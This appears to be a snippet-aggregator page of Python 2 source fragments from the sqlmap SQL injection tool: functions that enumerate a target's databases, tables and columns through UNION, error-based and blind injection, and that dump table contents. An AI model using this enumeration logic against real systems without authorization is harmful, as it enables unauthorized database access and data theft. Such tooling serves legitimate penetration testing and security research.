                    warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {"count": entriesCount,
                                                        "table": safeSQLIdentificatorNaming(tbl, True),
                                                        "db": safeSQLIdentificatorNaming(conf.db)}
                    try:
                        attackDumpedTable()
                    except (IOError, OSError), ex:
                        errMsg = "an error occurred while attacking "
                        errMsg += "table dump ('%s')" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException, ex:
                errMsg = "connection exception detected in dumping phase "
                errMsg += "('%s')" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
Ejemplo n.º 7
0
    def getTables(self, bruteForce=None):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                try:
                    tables = self.getTables(False)
                except SqlmapNoneDataException:
                    tables = None

                if not tables:
                    errMsg = "cannot retrieve table names, "
                    errMsg += "back-end DBMS is Access"
                    logger.error(errMsg)
                    bruteForce = True
                else:
                    return tables

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
            conf.db = conf.db.upper()

        if conf.db:
            dbs = conf.db.split(',')
        else:
            dbs = self.getDbs()

        dbs = [_ for _ in dbs if _ and _.strip()]

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        if bruteForce:
            resumeAvailable = False

            for db, table in kb.brute.tables:
                if db == conf.db:
                    resumeAvailable = True
                    break

            if resumeAvailable and not conf.freshQueries:
                for db, table in kb.brute.tables:
                    if db == conf.db:
                        if conf.db not in kb.data.cachedTables:
                            kb.data.cachedTables[conf.db] = [table]
                        else:
                            kb.data.cachedTables[conf.db].append(table)

                return kb.data.cachedTables

            message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)

        infoMsg = "fetching tables for database"
        infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            values = []

            for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))):
                if not isNoneValue(values) or not query:
                    break

                if condition:
                    if not Backend.isDbms(DBMS.SQLITE):
                        query += " WHERE %s" % condition

                        if conf.excludeSysDbs:
                            infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
                            logger.info(infoMsg)
                            query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
                        else:
                            query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))

                    if len(dbs) < 2 and ("%s," % condition) in query:
                        query = query.replace("%s," % condition, "", 1)

                if query:
                    values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                values = [_ for _ in arrayizeValue(values) if _]

                if len(values) > 0 and not isListLike(values[0]):
                    values = [(dbs[0], _) for _ in values]

                for db, table in filterPairValues(values):
                    table = unArrayizeValue(table)

                    if not isNoneValue(table):
                        db = safeSQLIdentificatorNaming(db)
                        table = safeSQLIdentificatorNaming(table, True)

                        if conf.getComments:
                            _ = queries[Backend.getIdentifiedDbms()].table_comment
                            if hasattr(_, "query"):
                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                    query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
                                else:
                                    query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))

                                comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
                                if not isNoneValue(comment):
                                    infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table))
                                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                                    logger.info(infoMsg)
                            else:
                                warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                                warnMsg += "possible to get table comments"
                                singleTimeWarnMessage(warnMsg)

                        if db not in kb.data.cachedTables:
                            kb.data.cachedTables[db] = [table]
                        else:
                            kb.data.cachedTables[db].append(table)

        if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.info(infoMsg)
                    continue

                if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
                    infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db)
                    singleTimeLogMessage(infoMsg)
                    continue

                infoMsg = "fetching number of tables for "
                infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
                    query = rootQuery.blind.count
                else:
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if count == 0:
                    warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db)
                    warnMsg += "appears to be empty"
                    logger.warn(warnMsg)
                    continue

                elif not isNumPosStrValue(count):
                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)
                    continue

                tables = []

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
                    elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
                        query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = rootQuery.blind.query % index
                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX):
                        query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db))
                    else:
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)

                    table = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                        if conf.getComments:
                            _ = queries[Backend.getIdentifiedDbms()].table_comment
                            if hasattr(_, "query"):
                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                    query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
                                else:
                                    query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))

                                comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if not isNoneValue(comment):
                                    infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table))
                                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                                    logger.info(infoMsg)
                            else:
                                warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                                warnMsg += "possible to get table comments"
                                singleTimeWarnMessage(warnMsg)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = "unable to retrieve the table names "
                    warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

        if isNoneValue(kb.data.cachedTables):
            kb.data.cachedTables.clear()

        if not kb.data.cachedTables:
            errMsg = "unable to retrieve the table names for any database"
            if bruteForce is None:
                logger.error(errMsg)
                return self.getTables(bruteForce=True)
            elif not conf.search:
                raise SqlmapNoneDataException(errMsg)
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        if kb.data.cachedTables:
            for db in kb.data.cachedTables:
                kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))

        return kb.data.cachedTables
Ejemplo n.º 8
0
    def getDbs(self):
        if len(kb.data.cachedDbs) > 0:
            return kb.data.cachedDbs

        infoMsg = None

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            warnMsg = "information_schema not available, "
            warnMsg += "back-end DBMS is MySQL < 5. database "
            warnMsg += "names will be fetched from 'mysql' database"
            logger.warn(warnMsg)

        elif Backend.isDbms(DBMS.ORACLE):
            warnMsg = "schema names are going to be used on Oracle "
            warnMsg += "for enumeration as the counterpart to database "
            warnMsg += "names on other DBMSes"
            logger.warn(warnMsg)

            infoMsg = "fetching database (schema) names"
        elif Backend.isDbms(DBMS.DB2):
            warnMsg = "schema names are going to be used on IBM DB2 "
            warnMsg += "for enumeration as the counterpart to database "
            warnMsg += "names on other DBMSes"
            logger.warn(warnMsg)

            infoMsg = "fetching database (schema) names"
        else:
            infoMsg = "fetching database names"

        if infoMsg:
            logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].dbs

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query
            value = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(value):
                kb.data.cachedDbs = arrayizeValue(value)

        if not kb.data.cachedDbs and isInferenceAvailable(
        ) and not conf.direct:
            infoMsg = "fetching number of databases"
            logger.info(infoMsg)

            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count
            count = inject.getValue(query,
                                    union=False,
                                    error=False,
                                    expected=EXPECTED.INT,
                                    charsetType=CHARSET_TYPE.DIGITS)

            if not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of databases"
                logger.error(errMsg)
            else:
                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                          DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (kb.data.cachedDbs[-1]
                                                         if kb.data.cachedDbs
                                                         else " ")
                    elif Backend.isDbms(
                            DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % index
                    else:
                        query = rootQuery.blind.query % index
                    db = inject.getValue(query, union=False, error=False)

                    if db:
                        kb.data.cachedDbs.append(
                            safeSQLIdentificatorNaming(db))

        if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL):
            if any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                              PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                blinds = (False, True)
            else:
                blinds = (True, )

            for blind in blinds:
                count = 0
                kb.data.cachedDbs = []
                while True:
                    query = rootQuery.inband.query2 % count
                    value = unArrayizeValue(inject.getValue(query,
                                                            blind=blind))
                    if not (value or "").strip():
                        break
                    else:
                        kb.data.cachedDbs.append(value)
                        count += 1
                if kb.data.cachedDbs:
                    break

        if not kb.data.cachedDbs:
            infoMsg = "falling back to current database"
            logger.info(infoMsg)
            self.getCurrentDb()

            if kb.data.currentDb:
                kb.data.cachedDbs = [kb.data.currentDb]
            else:
                errMsg = "unable to retrieve the database names"
                raise SqlmapNoneDataException, errMsg
        else:
            kb.data.cachedDbs.sort()

        return kb.data.cachedDbs
Ejemplo n.º 9
0
    def getTables(self, bruteForce=None):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if bruteForce is None:
            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                try:
                    tables = self.getTables(False)
                except SqlmapNoneDataException:
                    tables = None

                if not tables:
                    errMsg = "cannot retrieve table names, "
                    errMsg += "back-end DBMS is Access"
                    logger.error(errMsg)
                    bruteForce = True
                else:
                    return tables

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.db = conf.db.upper()

        if conf.db:
            dbs = conf.db.split(",")
        else:
            dbs = self.getDbs()

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        dbs = filter(None, dbs)

        if bruteForce:
            resumeAvailable = False

            for db, table in kb.brute.tables:
                if db == conf.db:
                    resumeAvailable = True
                    break

            if resumeAvailable:
                for db, table in kb.brute.tables:
                    if db == conf.db:
                        if conf.db not in kb.data.cachedTables:
                            kb.data.cachedTables[conf.db] = [table]
                        else:
                            kb.data.cachedTables[conf.db].append(table)

                return kb.data.cachedTables

            message = "do you want to use common table existence check? %s" % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)

        infoMsg = "fetching tables for database"
        infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(
            db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            query = rootQuery.inband.query
            condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None

            if condition:
                if conf.excludeSysDbs:
                    query += " WHERE "
                    query += " AND ".join(
                        "%s != '%s'" %
                        (condition, unsafeSQLIdentificatorNaming(db))
                        for db in self.excludeDbsList)
                    infoMsg = "skipping system database%s '%s'" % (
                        "s" if len(self.excludeDbsList) > 1 else "", ", ".join(
                            db for db in self.excludeDbsList))
                    logger.info(infoMsg)
                elif not Backend.isDbms(DBMS.SQLITE):
                    query += " WHERE %s" % condition
                    query += " IN (%s)" % ",".join(
                        "'%s'" % unsafeSQLIdentificatorNaming(db)
                        for db in sorted(dbs))

                if len(dbs) < 2 and ("%s," % condition) in query:
                    query = query.replace("%s," % condition, "", 1)

            value = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(value):
                value = filter(None, arrayizeValue(value))

                if len(value) > 0 and not isListLike(value[0]):
                    value = map(lambda x: (dbs[0], x), value)

                for db, table in filterPairValues(value):
                    db = safeSQLIdentificatorNaming(db)
                    table = safeSQLIdentificatorNaming(table, True)

                    if db not in kb.data.cachedTables:
                        kb.data.cachedTables[db] = [table]
                    else:
                        kb.data.cachedTables[db].append(table)

        if not kb.data.cachedTables and isInferenceAvailable(
        ) and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                infoMsg = "fetching number of tables for "
                infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD,
                                                   DBMS.MAXDB, DBMS.ACCESS):
                    query = rootQuery.blind.count
                else:
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(
                        db)

                count = inject.getValue(query,
                                        union=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if count == 0:
                    warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(
                        db)
                    warnMsg += "appears to be empty"
                    logger.warn(warnMsg)
                    continue

                elif not isNumPosStrValue(count):
                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(
                        db)
                    logger.warn(warnMsg)
                    continue

                tables = []

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                          DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (db, (
                            kb.data.cachedTables[-1]
                            if kb.data.cachedTables else " "))
                    elif Backend.getIdentifiedDbms() in (DBMS.MAXDB,
                                                         DBMS.ACCESS):
                        query = rootQuery.blind.query % (
                            kb.data.cachedTables[-1]
                            if kb.data.cachedTables else " ")
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.FIREBIRD):
                        query = rootQuery.blind.query % index
                    else:
                        query = rootQuery.blind.query % (
                            unsafeSQLIdentificatorNaming(db), index)

                    table = inject.getValue(query, union=False, error=False)
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = "unable to retrieve the table names "
                    warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(
                        db)
                    logger.warn(warnMsg)

        if isNoneValue(kb.data.cachedTables):
            kb.data.cachedTables.clear()

        if not kb.data.cachedTables:
            errMsg = "unable to retrieve the table names for any database"
            if bruteForce is None:
                logger.error(errMsg)
                return self.getTables(bruteForce=True)
            else:
                raise SqlmapNoneDataException, errMsg
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        return kb.data.cachedTables
Ejemplo n.º 10
0
    def searchTable(self):
        foundTbls = {}
        tblList = conf.tbl.split(",")
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        tblConsider, tblCondParam = self.likeOrExact("table")

        if conf.db and conf.db != CURRENT_DB:
            enumDbs = conf.db.split(",")
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            foundTbls[db] = []

        for tbl in tblList:
            tbl = safeSQLIdentificatorNaming(tbl, True)

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            for db in foundTbls.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    query = rootQuery.inband.query.replace("%s", db)
                    query += tblQuery
                    values = inject.getValue(query, blind=False, time=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            if foundTbl is None:
                                continue

                            foundTbls[db].append(foundTbl)
                else:
                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count
                    query = query.replace("%s", db)
                    query += " AND %s" % tblQuery
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query.replace("%s", db)
                        query += " AND %s" % tblQuery
                        query = agent.limitQuery(index, query, tblCond)
                        tbl = inject.getValue(query, union=False, error=False)
                        kb.hintValue = tbl
                        foundTbls[db].append(tbl)

        for db, tbls in foundTbls.items():
            if len(tbls) == 0:
                foundTbls.pop(db)

        if not foundTbls:
            warnMsg = "no databases contain any of the provided tables"
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)
Ejemplo n.º 11
0
    def searchColumn(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        whereTblsQuery = ""
        infoMsgTbl = ""
        infoMsgDb = ""
        colList = conf.col.split(",")
        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        tblCond = rootQuery.inband.condition2
        colConsider, colCondParam = self.likeOrExact("column")

        if conf.db and conf.db != CURRENT_DB:
            enumDbs = conf.db.split(",")
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            dbs[db] = {}

        for column in colList:
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
            conf.tbl = origTbl

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split(",")
                whereTblsQuery = " AND (" + " OR ".join(
                    "%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl))
                    for tbl in _) + ")"
                infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "",
                                                    ", ".join(tbl
                                                              for tbl in _))

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split(",")
                infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "",
                                                     ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                infoMsg2 = "skipping system database%s '%s'" % (
                    "s" if len(self.excludeDbsList) > 1 else "", ", ".join(
                        db for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                infoMsgDb = " across all databases"

            logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            for db in dbs.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    continue

                if any(
                        isTechniqueAvailable(_)
                        for _ in (PAYLOAD.TECHNIQUE.UNION,
                                  PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
                    query = rootQuery.inband.query % (db, db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    query += whereTblsQuery.replace("[DB]", db)
                    values = inject.getValue(query, blind=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            foundTbl = safeSQLIdentificatorNaming(
                                foundTbl, True)

                            if foundTbl is None:
                                continue

                            if foundTbl not in dbs[db]:
                                dbs[db][foundTbl] = {}

                            if colConsider == "1":
                                conf.db = db
                                conf.tbl = foundTbl
                                conf.col = column

                                self.getColumns(onlyColNames=True,
                                                bruteForce=False)

                                if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
                                  and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
                                    dbs[db][foundTbl].update(
                                        kb.data.cachedColumns[db][foundTbl])
                                kb.data.cachedColumns = {}
                            else:
                                dbs[db][foundTbl][column] = None

                            if db in foundCols[column]:
                                foundCols[column][db].append(foundTbl)
                            else:
                                foundCols[column][db] = [foundTbl]
                else:
                    foundCols[column][db] = []

                    infoMsg = "fetching number of tables containing column"
                    if colConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (column, db)
                    logger.info("%s%s" % (infoMsg, infoMsgTbl))

                    query = rootQuery.blind.count
                    query = query % (db, db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    query += whereTblsQuery.replace("[DB]", db)
                    count = inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no tables contain column"
                        if colConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % column
                        warnMsg += "in database '%s'" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (db, db, db, db, db, db)
                        query += " AND %s" % colQuery.replace("[DB]", db)
                        query += whereTblsQuery.replace("[DB]", db)
                        query = agent.limitQuery(index, query,
                                                 colCond.replace("[DB]", db))
                        tbl = inject.getValue(query, inband=False, error=False)
                        kb.hintValue = tbl

                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if tbl not in dbs[db]:
                            dbs[db][tbl] = {}

                        if colConsider == "1":
                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True,
                                            bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
                                    db]:
                                dbs[db][tbl].update(
                                    kb.data.cachedColumns[db][tbl])
                            kb.data.cachedColumns = {}
                        else:
                            dbs[db][tbl][column] = None

                        foundCols[column][db].append(tbl)

        conf.dumper.dbColumns(foundCols, colConsider, dbs)
        self.dumpFoundColumn(dbs, foundCols, colConsider)
Ejemplo n.º 12
0
    def searchTable(self):
        foundTbls = {}
        tblList = conf.tbl.split(",")
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        tblConsider, tblCondParam = self.likeOrExact("table")

        if conf.db and conf.db != CURRENT_DB:
            enumDbs = conf.db.split(",")
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            foundTbls[db] = []

        for tbl in tblList:
            tbl = safeSQLIdentificatorNaming(tbl, True)

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            for db in foundTbls.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                if any(
                        isTechniqueAvailable(_)
                        for _ in (PAYLOAD.TECHNIQUE.UNION,
                                  PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
                    query = rootQuery.inband.query.replace("%s", db)
                    query += tblQuery
                    values = inject.getValue(query, blind=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            if foundTbl is None:
                                continue

                            foundTbls[db].append(foundTbl)
                else:
                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count
                    query = query.replace("%s", db)
                    query += " AND %s" % tblQuery
                    count = inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                            db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query.replace("%s", db)
                        query += " AND %s" % tblQuery
                        query = agent.limitQuery(index, query, tblCond)
                        tbl = inject.getValue(query, inband=False, error=False)
                        kb.hintValue = tbl
                        foundTbls[db].append(tbl)

        for db, tbls in foundTbls.items():
            if len(tbls) == 0:
                foundTbls.pop(db)

        if not foundTbls:
            warnMsg = "no databases contain any of the provided tables"
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
